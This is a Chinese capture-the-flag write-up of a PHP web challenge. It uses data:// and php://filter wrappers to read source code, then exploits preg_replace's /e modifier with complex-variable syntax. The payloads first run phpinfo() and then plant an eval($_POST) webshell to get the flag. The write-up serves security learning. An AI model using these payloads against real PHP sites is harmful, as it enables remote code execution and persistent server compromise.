P1 文件包含
打开,直接给了源码:
这题和[ZJCTF 2019]NiZhuanSiWei源码几乎一样……所以直接做了:
第一个点:file_get_contents
读取字符串
方法:data://
协议,直接抬走
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0= //I have a dream
第二个点:include()
文件包含,要求读next.php
方法:php://filter
伪协议
file=php://filter/read=convert.base64-encode/resource=next.php
结合一下,成功。Base64后出源码:
text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
P2 preg_replace的/e
看一下next.php的源码:
$str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
之前知道正则匹配如果带/e就会有命令执行的风险,搜到了篇文章,直接用他payload就能打通关……http://www.xinyueseo.com/websecurity/158.html
正经学习一下吧:
PHP中的正则替换函数preg_replace
:
其中 /e 修饰符已经被弃用:
/e 修正符使 preg_replace() 将 replacement 参数(字符串)当作 PHP 代码(在适当的逆向引用替换完之后)执行。
也就是如果可控replacement
,传入php代码的,相当于执行了eval("replacement")
.
我们来看题目中的代码:
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
其中$re
,$str
是取全局变量$_GET
的每个键值得到的,比如传入?a=b,则$re=a,$str=b
.
可以看到,pattern和subject都可控,也带了/e修饰符。但replacement不可控。那就没办法了吗?
非也。
分析一下,目前这个正则会在替换过程中执行:eval("strtolower("\\1")"");
strtolower会把所有大写字母字符变为小写,返回处理后的字符串。
\\1
转义后就是 '\1'。而\+数字
在PHP的正则匹配中是由特殊意义的:
也给了个例子:
当第一次匹配成功的时候,会把匹配到的匹配项保存起来。之后的匹配过程中,如果遇到之前匹配到过的匹配项,就可以直接匹配。同时:
每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
已知我们的pattern是可控的,如果想要保证能完整匹配到我们传入的$str
,最好的方法是:(.*)
,
即传入.*
,但是php有个特性:(之前的MRCTF 套娃一题也考到了)
那么传入的.*
就变成了_*
。pattern就出错了,有什么替代的方法吗?\S
假设我们要匹配的subject为phpinfo();
,pattern是\S
:
那么replacement就变成了:
strtolower("\\1")--->strtolower("\1")---->strtolower("phpinfo();")
配上/e,在匹配过程中就会执行:
eval('strtolower("phpinfo();")');
这个的执行结果是啥呢?
strtolower("phpinfo();")
中的phpinfo()被当作字符串输出了。
怎样才能执行呢?我们来看php的一个特性
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。
那么可变变量又出场了,除了$$a
这种套娃替换,他还可以利用上述特性执行命令:
{${phpinfo()}}
如果我们执行了:
eval('strtolower("{${phpinfo()}}")');
在解析执行前,因为被双引号包住了。那么${phpinfo()} 中的 phpinfo() 会被当做变量先执行。
结合一下,我们可以得出一个payload:
next.php/?\S={${phpinfo()}}
成功执行:
看下disable_functions
,发现什么都没有禁:
所以直接构造个连shell:
next.php?\S*={${eval($_POST[a])}}
成功getshell:
目录下获得flag: